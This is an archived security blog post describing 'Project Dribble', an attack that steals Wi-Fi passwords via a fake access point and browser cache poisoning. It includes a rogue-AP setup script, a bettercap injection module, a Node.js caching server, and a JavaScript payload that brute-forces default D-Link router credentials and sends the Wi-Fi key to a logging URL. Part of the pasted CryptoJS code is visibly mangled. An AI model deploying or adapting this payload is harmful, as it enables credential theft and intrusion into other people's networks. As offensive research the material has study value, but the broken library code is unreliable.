

Project Dribble: hacking Wi-Fi with cached JavaScript

Project Dribble: hacking Wi-Fi with cached JavaScript - Author not stated, rhaidiz.net.

- Published: date not stated
- Original: <<https://rhaidiz.net/posts/dribble-stealing-wifi-password-via-browsers-cache-poisoning/>>
- Preserved from: <https://rhaidiz.net/posts/dribble-stealing-wifi-password-via-browsers-cache-poisoning/> (live) on 2026-10-02
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so it remains readable if the page goes offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Oct 25, 2018

Project Dribble: hacking Wi-Fi with cached JavaScript

[Wi-Fi Cache Bettercap Cache-Poison Raspberry Rpi Wifi Hostapd Dnsmasq](#)

I've been meaning to work on this little project for quite some time, but life got in the way and I was always too busy. Now I finally got some time back for myself and I'm here talking about it.

Quite some time ago I checked out the Wireless LAN Security Megaprimer course by Vivek Ramachandran (very nice, highly recommended) and incidentally in the same period I was doing some traveling which meant I got to stay in different hotels all providing Wi-Fi. Needless to say, my brain started to go crazy and I've thus been thinking about "unconventional" ways to get Wi-Fi passwords.

Can't turn my brain off, you know. It's me. We go into some place, and all I can do is see the angles. – Danny Ocean (Ocean's Twelve)

The idea that I'm about to describe is pretty simple and, probably, not that new either. Nevertheless it was a fun way for me to get my hands dirty and play around with my Raspberry Pi which has been sitting on the shelf for too long.

Description

The idea is to steal Wi-Fi passwords by exploiting web browser's cache. Since I needed to come up with a name for the project, I first developed it and then named it "Dribble" :-). Dribble creates a fake Wi-Fi access point and waits for clients to connect to it. When clients connect, dribble intercepts every HTTP requests performed to JavaScript pages and injects in the responses a malicious JavaScript code. The headers of the new response are altered too so that the malicious JavaScript code is cached and forced to persist in the browser. When the client disconnects from the fake access point and reconnects back to, say, its home routers, the malicious JavaScript code activates, steals the Wi-Fi password from the router and send it back to the attacker. Pretty straightforward, right?

In order to achieve this result I had to figure out these three things:

- How to create a fake access point
- How to force people to connect to it
- What should the malicious JavaScript code do to steal passwords from routers

How to create a fake access point

This is pretty simple, it was also covered in the Wireless LAN Security Megaprimer and there are a number of different github repositories and gists that one can use to get started and create a fake access point. I thus won't go too much into details but for the sake of completeness let's discuss the one I used. I used `hostapd` to create the Wi-Fi access point, `dnsmasq` as a DHCP server and DNS relay server and `iptables` to create the NAT network. The bash script that follows will create a very simple Wi-Fi access point not protected by any password. I put some comments in the code that I hope will improve readability.

```
#!/bin/bash

# the internet interface
internet=eth0

# the wifi interface
phy=wlan0

# The ESSID
ssid="TEST"

# bring interfaces up
ip link set dev $internet up
ip link set dev $phy up

#####
# DNSMASQ
#####
echo "
interface=$phy

bind-interfaces

# Set default gateway
dhcp-option=3,10.0.0.1

# Set DNS servers to announce
dhcp-option=6,10.0.0.1

dhcp-range=10.0.0.2,10.0.0.10,12h

no-hosts

no-resolv
log-queries
log-facility=/var/log/dnsmasq.log

# Upstream DNS server
server=8.8.8.8
server=8.8.4.4

" > tmp-dnsmasq.conf

# start dnsmasq which provides DNS relaying service
```

```

dnsmasq --conf-file=tmp-dnsmasq.conf

#####
# IPTABLES
#####

# Enable Internet connection sharing
# configuring ip forwarding
echo '1' > /proc/sys/net/ipv4/ip_forward

# configuring NAT
iptables -A FORWARD -i $internet -o $phy -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -i $phy -o $internet -j ACCEPT
iptables -t nat -A POSTROUTING -o $internet -j MASQUERADE

#####
# HOSTAPD
#####
echo "ctrl_interface=/var/run/hostapd

interface=$phy

# ESSID
ssid=$ssid

driver=nl80211
auth_algs=3
channel=11
hw_mode=g

# all mac addresses allowed
macaddr_acl=0

wmm_enabled=0" > tmp-hotspot.conf

# Start hostapd in screen hostapd
echo "Start hostapd in screen hostapd"
screen -dmS hostapd hostapd tmp-hotspot.conf

```

How to force people to connect to it

DISCLAIMER: I left this section intentionally at a high-level of description without any code for different reasons. However, if it gets enough attention and people are interested

about it, I will probably extend it with a more in-depth discussion providing, perhaps, some code and practical guide.

Depending on your target there might be different ways to try and get someone to connect to a fake access point. Let's discuss two scenarios:

Scenario 1

In this case the target is connected to a password protected Wi-Fi, perhaps the same password protected Wi-Fi the attacker is trying to access. There are a couple of things to try in this case, but first let me discuss something interesting about how Wi-Fi works. The beloved 802.11 standard has many interesting features, one of which I've always found ... amusing. The 802.11 defines a special packet that, regardless of the encryption, the password, the infrastructure or anything at all, if sent to a client will simply disconnect that client from the access point. If you send it once, the client will disconnect and immediately reconnect, and the end user won't even notice that something happened. However, if you keep sending it, the client will eventually give up meaning you can actually jamming the Wi-Fi connection and the user will notice that he's not connected to the access point anymore. By abusing this characteristic, you can simply force a client to disconnect from the legitimate access point it is connected to. At this point two things can be done:

-

The attacker can create a fake access point with the same ESSID of the access point the target was connected to, but without a password. In this case the attacker should hope that once the user realizes he's not connected to the access point, he would try to manually connect again. The target will thus find two networks with the same ESSID, one will have a locker while the other one won't. The user might try to connect to the one with the locker first, which won't work because the attacker is jamming it, and chances are that he might also try the one without the locker ... after all it has the same name of the one he wants so badly to connect to ... right??

-

Another interesting behavior that can be exploited, is that whenever a client is not connected to an access point, it keeps sending beacon packets looking for previously known ESSIDs. If the target had connected to an unprotected access point, and chances are that he did, the attacker can simply create a fake access point with the same ESSID of the unprotected access point visited by the target. As a result, the client will happily connect to the fake access point.

Scenario 2 In this case the target is not connected to any Wi-Fi access point, maybe because the target is a smartphone and the owner is walking on the street. However, chances are, that the Wi-Fi card is still turned on and the device is still looking for known Wi-Fi ESSIDs. Once again, as discussed previously, chances are that the target had connected to an unprotected Wi-Fi access point. Thus the attacker can just create a fake access point with the ESSID of an access point the target had connected to and just like before, the Wi-Fi client will happily connect to the fake access point.

Create and inject the malicious payload

Now comes the “slightly newer” part (at least for me): figure out what the malicious JavaScript code should do to access the router and steal the Wi-Fi password. Remember that the victim will be connected to the fake access point which obviously gives the attacker quite some advantage, but still there are a couple of things to consider.

As a target router to attack, I used my home Wi-Fi router, specifically a D-Link DVA-5592 which was (not so) freely provided by my ISP. Unfortunately, for the time being, I don’t have other devices that I can test, so I have to make due with it.

Let’s now discuss the malicious JavaScript code. The goal is to have it performing requests to the router, meaning that it has to perform requests to a local IP address. This should already call for keywords such as `Same-Origin-Policy` and `X-Frame-Option`.

Same-Origin-Policy

Let me borrow the definition from MDN web docs:

The same-origin policy is a critical security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin. It helps to isolate potentially malicious documents, reducing possible attack vectors. https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy

In other words: if domain A contains JavaScript code, that JavaScript code can only access information within domain A (*). It cannot access information from domain B.

X-Frame-Options

Let me again borrow the definition from MDN web docs:

The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page in a `<frame>`, `<iframe>` or `<object>`. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites. <https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options>

That’s pretty straightforward: the `X-Frame-Options` is used to prevent pages from being loaded in an `iframe`.

So let’s see the response that we get from requesting the login page of the D-Link:

```
HTTP/1.1 200 OK
Date: Wed, 24 Oct 2018 16:20:21 UTC
Server: HTTP Server
X-Frame-Options: DENY
Connection: Keep-Alive
Keep-Alive: timeout=15, max=15
Last-Modified: Thu, 23 Aug 2018 08:59:55 UTC
Cache-Control: must-revalidate, private
Expires: -1
Content-Language: en
Content-Type: text/html
Content-Length: 182
```

```
<html><head>
<meta http-equiv="cache-control" content="no-cache">
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="refresh" content="0;url=/ui/status">
</head></html>
```

The response contains `X-Frame-Options` set to `DENY` (thanks god) meaning that if I was hoping to load it in an `iframe`, I just cannot. Moreover, since the malicious JavaScript code will be injected in a different domain than the one of the router, the `Same-Origin-Policy` will prevent any interaction with the router itself. The simple solution I came up with, and beware it might not be the only one, is the following:

The injection consists of two different JavaScript code. The first JavaScript code will add an `iframe` inside the infected page. The `src` parameter of the `iframe` will point to the router's IP address. As already said, the router's IP address has the `X-Frame-Options` set to `DENY` so the `iframe` won't be able to load the router's page. However, when the JavaScript code that creates the `iframe` executes, the victim is still connected to the fake access point (remember the advantage point I mentioned earlier?). Which means that the request to the router's IP address will be handled by the fake access point ... how convenient. The fake access point can thus intercepts any request performed towards the router's IP address and respond with a web page that:

- contains a second JavaScript code that will actually perform the requests to the real router,
- doesn't have the `X-Frame-Options` header,
- includes headers to cache the page.

Since the fake access point poses as the legitimate router, the browser will cache a page for which the domain is the router's IP address thus bypassing both the `Same-Origin-Policy` and the `X-Frame-Options`. Finally, once the infected client connects back to its home router:

- the first JavaScript code will add an `iframe` pointing the router's IP address,

- the `iframe` will load a cached version of the router's home page containing the second malicious JavaScript,
- the second malicious JavaScript will attack the router.

The first malicious JavaScript is pretty simple, it just has to append an `iframe`. The second malicious JavaScript is a little bit trickier as it has to perform multiple HTTP requests to brute-force the login, access the page with the Wi-Fi password and send it back to the attacker. In the case of the D-Link, the login request looks like this:

```
POST /ui/login HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:63.0) Gecko/20100101
Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/ui/login
Content-Type: application/x-www-form-urlencoded
Content-Length: 141
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

userName=admin&language=IT&login=Login&userPwd=e8864[REDACTED]6df0c1bf8&nonce=558675225&code1=nwdeLUh
```

The important parameters here are:

- `userName` which is `admin` (shocking);
- `userPwd` which looks encrypted;
- `nonce` which is definitely related to the encrypted password.

Diving in the source code of the login page I almost immediately noticed this:

```
document.form.userPwd.value = CryptoJS.HmacSHA256(document.form.origUserPwd.value,
document.form.nonce.value);
```

Which means that the login requires the CryptoJS library and takes the nonce from `document.form.nonce.value`. With this information I can easily create a small JavaScript code that takes an array of usernames and passwords and attempts to brute-force the log in page.

Once inside the router, I need to look around for the location where I can retrieve the Wi-Fi password. The current firmware in the D-Link DVA-5592 shows the Wi-Fi password IN PLAINTEXT (oh boy) right after the login in the dashboard page.

[image: image] At this point all I need to do is to access the HTML of the page, get the Wi-Fi password and send it somewhere to collect. Let's now dive into the actual JavaScript code tailored for the D-Link. I included comments so you can follow what's happening.

// this is CryptoJS, a bit annoying to have it here

```
var CryptoJS=function(h,i){var e={},f=e.lib={},l=f.Base=function(){function a(){}return{extend:function(j){a.prototype=this;var d=new a;j&&d.mixin(j);d.$super=this;return d},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixin:function(a){for(var d in a)a.hasOwnProperty(d)&&(this[d]=a[d]);a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.$super.extend(this)}}(),k=f.WordArray=l.extend({init:function(a,j){a=this.words=a||[];this.sigBytes=j!=i?j:4*a.length},toString:function(a){return(a||m).stringify(this)},concat:function(a){var j=this.words,d=a.words,c=this.sigBytes,a=a.sigBytes;this.clamp();if(c%4)for(var b=0;b<a;b++)j[c+b>>2]|=(d[b>>2]>>>24-8*(b%4)&255)<<24-8*((c+b)%4);else if(65535<d.length)for(b=0;b<a;b+=4)j[c+b>>2]=d[b>>2];else j.push.apply(j,d);this.sigBytes+=a;return this},clamp:function(){var a=this.words,b=this.sigBytes;a[b>>2]&=4294967295<<32-8*(b%4);a.length=h.ceil(b/4)},clone:function(){var a=l.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var b=[],d=0;d<a;d+=4)b.push(4294967296*h.random()|0);return k.create(b,a)}},o=e.enc={},m=o.Hex={stringify:function(a){for(var b=a.words,a=a.sigBytes,d=[],c=0;c<a;c++){var e=b[c>>2]>>>24-8*(c%4)&255;d.push((e>>>4).toString(16));d.push((e&15).toString(16))}return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c+=2)d[c>>3]|=parseInt(a.substr(c,2),16)<<24-4*(c%8);return k.create(d,b/2)}},q=o.Latin1={stringify:function(a){for(var b=a.words,a=a.sigBytes,d=[],c=0;c<a;c++){d.push(String.fromCharCode(b[c>>2]>>>24-8*(c%4)&255));return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c++){d[c>>2]|=(a.charCodeAt(c)&255)<<24-8*(c%4);return k.create(d,b)}},r=o.Utf8={stringify:function(a){try{return decodeURIComponent(escape(q.stringify(a)))}catch(b){throw Error("Malformed UTF-8 data");}},parse:function(a){return q.parse(unescape(encodeURIComponent(a)))}},b=f.BufferedBlockAlgorithm=l.extend({reset:function(){this._data=k.create();this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=r.parse(a));this._data.concat(a);this._nDataBytes+=a.sigBytes},_process:function(a){var b=this._data,d=b.words,c=b.sigBytes,e=this.blockSize,g=c/(4*e),g=a?h.ceil(g):h.max((g|0)-this._minBufferSize,0),a=g*e,c=h.min(4*a,c);if(a){for(var f=0;f<a;f+=e)this._doProcessBlock(d,f);f=d.splice(0,a);b.sigBytes-=c}return k.create(f,c)},clone:function(){var a=l.clone.call(this);a._data=this._data.clone();return a},_minBufferSize:0});f.Hasher=b.extend({init:function(){this.reset()},reset:function(){b.reset.call(this);this._doReset()},update:function(a){this._append(a);this._process();return this},finalize:function(a){a&&this._append(a);this._doFinalize();return this._hash},clone:function(){var a=b.clone.call(this);a._hash=this._hash.clone();return a
```

```

a}, blockSize: 16, _createHelper: function(a) { return function(b, d) { return
a.create(d).finalize(b) } }, _createHmacHelper: function(a) { return function(b, d) { return
g.HMAC.create(a, d).finalize(b) } } } }; var g = e.algo = {}; return e}(Math);
(function(h) { var i = CryptoJS, e = i.lib, f = e.WordArray, e = e.Hasher, l = i.algo, k = [], o = [];
(function() { function e(a) { for(var b = h.sqrt(a), d = 2; d <= b; d++) if(!
(a % d)) return 1; return 0 } function f(a) { return 4294967296 * (a - (a | 0)) | 0 } for(var
b = 2, g = 0; 64 > g; ) e(b) && (8 > g && (k[g] = f(h.pow(b, 0.5))), o[g] = f(h.pow(b, 1/3)), g++, b++))(); var m =
[], l = l.SHA256 = e.extend({ _doReset: function()
{ this._hash = f.create(k.slice(0)) }, _doProcessBlock: function(e, f) { for(var
b = this._hash.words, g = b[0], a = b[1], j = b[2], d = b[3], c = b[4], h = b[5], l = b[6], k = b[7], n = 0; 64 >
n; n++) { if(16 > n) m[n] = e[f + n] | 0; else { var i = m[n - 15], p = m[n - 2]; m[n] =
((i << 25 | i >>> 7) ^ (i << 14 | i >>> 18) ^ i >>> 3) + m[n - 7] + ((p << 15 | p >>> 17) ^ (p << 13 | p >>> 19) ^ p >>> 10) + m[n -
16] } i = k + ((c << 26 | c >>> 6) ^ (c << 21 | c >>> 11) ^ (c << 7 | c >>> 25)) + (c & h ^ ~c & l) + o[n] + m[n]; p =
((g << 30 | g >>> 2) ^ (g << 19 | g >>> 13) ^ (g << 10 | g >>> 22)) +
(g & a ^ g & j ^ a & j); k = l; l = h; h = c; c = d + i | 0; d = j; j = a; a = g; g = i + p | 0 } b[0] = b[0] + g | 0; b[1] = b[1] + a | 0; b[2] = b[2] + j | 0; b[3] = b[3] + d | 0; b[4] = b[4] + c | 0; b[5] = b[5] + h | 0; b[6] = b[6] + l | 0; b[7] = b[7] + k | 0 }, _doFinalize
: function() { var e = this._data, f = e.words, b = 8 * this._nDataBytes,
g = 8 * e.sigBytes; f[g >>> 5] | = 128 << 24 -
g % 32; f[(g + 64 >>> 9 << 4) + 15] = b; e.sigBytes = 4 * f.length; this._process() } }; i.SHA256 = e._createHel
per(l); i.HmacSHA256 = e._createHmacHelper(l) }(Math);
(function() { var h = CryptoJS, i = h.enc.Utf8; h.algo.HMAC = h.lib.Base.extend({ init: function(e, f)
{ e = this._hasher = e.create(); "string" == typeof f && (f = i.parse(f)); var
h = e.blockSize, k = 4 * h; f.sigBytes > k && (f = e.finalize(f)); for(var
o = this._oKey = f.clone(), m = this._iKey = f.clone(), q = o.words, r = m.words, b = 0; b < h; b++) q[b] ^ = 15495
56828, r[b] ^ = 909522486; o.sigBytes = m.sigBytes = k; this.reset(); reset: function() { var
e = this._hasher; e.reset(); e.update(this._iKey); update: function(e)
{ this._hasher.update(e); return this }, finalize: function(e) { var f =
this._hasher, e = f.finalize(e); f.reset(); return
f.finalize(this._oKey.clone().concat(e)) } } } } )();

```

```

// check if this is a D-Link

```

```

// This is a safe check that I put so that the payload won't try to attack something

```

```

// that is not a D-Link, the check could definitely be improved but given that I

```

```

// only have this D-Link we will have to make it due ... for now

```

```

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://192.168.1.1/ui/login', true);
xhr.setRequestHeader("hydra", "true");
xhr.onload = function () {
    if(this.response.includes("D-LINK")){
        console.log("d-link");
        dlinkStart();
    }
}

```

```

    };
    xhr.responseText = 'text'
    xhr.send(null);

    // The main function that starts the attack
    function dlinkStart(){
    // List of possible usernames
    var usernames = ["administrator","Administrator","admin","Admin"];
    // List of possible passwords
    var passwords = ["password","admin","1234","","pwd"];
    // the array containing usernames and passwords combination
    var combos = [];

    var i = 0;

    // combines all possible usernames and passwords and put it into combos
    for(var i = 0; i < usernames.length; i++)
    {
        for(var j = 0; j < passwords.length; j++)
        {
            combos.push({"user":usernames[i],"pwd":passwords[j]})
        }
    }

    function dlinkAttacker(user, passwd) {

        // first request to get the nonce
        var xhr = new XMLHttpRequest();
        xhr.open('GET', 'http://192.168.1.1/ui/login', true);
        xhr.onload = function () {
            if (this.readyState == XMLHttpRequest.DONE && this.status == 200) {
                // the current username to test
                var username = user
                // the current password to test
                var pwd = passwd
                // the nonce extracted from the web page
                var nonce = xhr.response.form.nonce.value
                // the password encrypted with nonce
                var encPwd = CryptoJS.HmacSHA256(pwd, nonce)

                // let's try to log in
                var xhr2 = new XMLHttpRequest();
                xhr2.open('POST', 'http://192.168.1.1/ui/login', true);
            }
        }
    }

```

```

        //Send the proper header information along with the request
        xhr2.setRequestHeader('Content-Type', 'application/x-www-form-
urlencoded');

        xhr2.onload = function () {
            if (this.readyState == XMLHttpRequest.DONE && this.status == 200) {
                try {
                    // the combination username\password was correct, let's get the Wi-Fi password
                    var wlanPsk = xhr2.response.getElementById('wlan-psk').innerHTML
                    // WARNING: YOU MIGHT WANT TO CHANGE WHERE THE PASSWORD ENDS UP :- )
                    var xhr3 = new XMLHttpRequest();
                    xhr3.open('GET', 'https://rhaidiz.net/projects/dribble/dribble_logger.php?pwd'+wlanPsk);
                    xhr3.send( null );

                    } catch (e) {
                        // Wrong password, let's try a different combination
                        i++
                        dlinkAttacker(combos[i].user, combos[i].pwd)
                    }
                }
            }
        }
        // the body of the login request
        var params = 'userName=' + username +
        '&language=IT&login=Login&userPwd=' + encPwd + '&nonce=' + nonce
        xhr2.responseType = 'document'
        xhr2.send(params);
    }
};
xhr.responseType = 'document'
xhr.send(null);
}

// Start the attack from the first combination of username\password
dlinkAttacker(combos[i].user, combos[i].pwd)
}

```

This page should be cached in client's browser and sent as coming from the router's IP address. Let's now put this code aside for a moment and let's discuss the network configuration that will allow to cache it.

As I just said, the JavaScript code above will be cached as coming from the router's IP address and will be loaded in an `iframe` that is created from another JavaScript that I inject in every JavaScript page that the client requestss in HTTP. To accomplish the interception and injection part, I use [bettercap](#). Bettercap allows to create HTTP proxy modules that can be used to program the HTTP proxy and tell it how to behave. For instance it is possible to intercepts responses before they are delivered to the client and

decide what to inject, when to inject it and how to inject. I've thus created a simple code, again in JavaScript, that is loaded in bettercap and performs the injection.

```
// list of common router's IP .. which definitely requires improvement
var routers = ["192.168.1.1", "192.168.0.1"]

// this function is called when the response is
// received and can be sent back to the client
function onResponse(req, res) {
    // inject only responses containing JavaScript
    if(res.ContentType.indexOf('application/javascript') == 0 ){
        console.log("caching");
        console.log(req.Hostname)
        var body = res.ReadBody();
        // set caching header
        res.SetHeader("Cache-Control", "max-age=86400");
        res.SetHeader("Content-Type", "text/html");
        res.SetHeader("Cache-Control", "public, max-age=99936000");
        res.SetHeader("Expires", "Wed, 2 Nov 2050 10:00:00 GMT");
        res.SetHeader("Last-Modified", "Wed, 2 Nov 1988 10:00:00 GMT");
        res.SetHeader("Access-Control-Allow-Origin:", "*");

        // set payload
        var payload = "document.addEventListener(\"DOMContentLoaded\", function(event){\n";
        for(var i=0; i < routers.length; i++){
            payload = payload + "var ifrm =
document.createElement('iframe');\nifrm.setAttribute('src',
'http://'+routers[i]+'');ifrm.style.width = '640px';ifrm.style.height =
'480px';\ndocument.body.appendChild(ifrm);\n";
        }
        payload = payload + "});";

        res.Body = body + payload;
    }
}
```

One thing is worth noting from the code above, the JavaScript payload tries to load one `iframe` for every IP in the array `routers`. This is because the IP of the home router might have been configured differently. This means that the Raspberry has to answer to different IPs on different subnets. To do so, I simply add more IPs to the wireless interface of the Raspberry. In this way, whenever the code that loads the `iframe` is executed, a request is performed towards common routers' IP addresses and the wireless interface of the Raspberry can pretend to be the router, answer to those requests and cache whatever I want.

Finally, I need a web server on the Raspberry that listens on the wireless interface and caches the JavaScript code that attacks the router. I did some test with Nginx first, to make sure the idea was working, but finally I opted for Node.JS, mainly because I still hadn't tried it's HTTP server (I know).

```

var http = require("http");
var routers = ["192.168.0.1/", "192.168.1.1/", "192.168.1.90/"]
var fs = require('fs');
// load the index web page
var index = fs.readFileSync("./www/index.html");
// load the JavaScript file, which might be more than one
// when support for other router is implemented
var jsob = fs.readdirSync('./www/js');
var repobj = {}

for (var i in jsob){
// placing a / at the beginning is a bit of a lazy move
repobj["/"+jsob[i]] = fs.readFileSync('./www/js/' + jsob[i]);
}

var server = http.createServer(function(request, response) {
var url = request.headers.host + request.url;
console.log('Request: ' + url);
console.log("REQUEST URL" + request.url);
console.log(request.headers);

var headers = {
"Content-Type": "text/html",
"Server": "dribble",
"Cache-Control": "public, max-age=99936000",
"Expires": "Wed, 2 Nov 2050 10:00:00 GMT",
"Last-Modified": "Wed, 2 Nov 1988 10:00:00 GMT",
"Access-Control-Allow-Origin": "*"
};

// Cache the index page
if (routers.includes(url))
{
console.log("cache until the end of time");
response.writeHead(200, headers);
response.write(index);
response.end();
return;
}
// cache the JavaScript payload
else if (repobj[request.url]){
console.log("cache JS until the end of time");
headers["Content-Type"] = "application/javascript";
response.writeHead(200, headers);

```

```
response.write(repobj[request.url]);  
response.end();  
return;  
}  
});  
  
// listen on port 80  
server.listen(80);
```

Let's test it out ... for real ... almost!

At this point I had already done some tests on my own but I wanted to try it in a more realistic environment. However, I can't just try it on anyone without their consent, so first I needed a victim that would willingly be part of this little experiment ... so I asked my girlfriend. The conversation went something like this:

[image: image]

Great, now that I had a victim that willingly decided to participate in this little experiment, it was time to start the hack and lure her iPhone 6 to connect to my fake access point. I thus created a fake access point with an ESSID I knew she has visited before (yes, also intel on your victim can be helpful) and soon enough her iPhone connected to my fake access point.

I let her browse the web while still connected to the fake access point and patiently waited for her to end up on an HTTP only web site.

He waded out into the shallows, and he waited there three days and three nights, till all manner of sea creatures came acclimated to his presence. And on the fourth morning, ... Mr. Gibbs (Pirates of the Caribbean: The Curse of the Black Pearl)

Finally, bettercap flickered and printed that something had been injected, which meant I didn't need to have her connected to my access point anymore.

[image: image]

I thus turned off my access point, causing her phone to roam to our home Wi-Fi access point and, since she was still browsing that web site, the malicious JavaScript code that got injected did its job and sent the password of my Wi-Fi network straight to my PHP page.

[image: image]

Wrapping up

The whole thing is [available in my github](#), it can definitely be improved and, hopefully, by the time you read this it already has. Support for new routers should also be added as well. If I have the change to put my hands on other devices I will definitely add them to the repository. In the meantime, have fun and ...

mischief managed

(*) Thanks to [malachias](#) for pointing out a mistake in this senece (go back).

Archived from <https://rhaidiz.net/posts/dribble-stealing-wifi-password-via-browsers-cache-poisoning/>. Rendered offline from the local Markdown copy.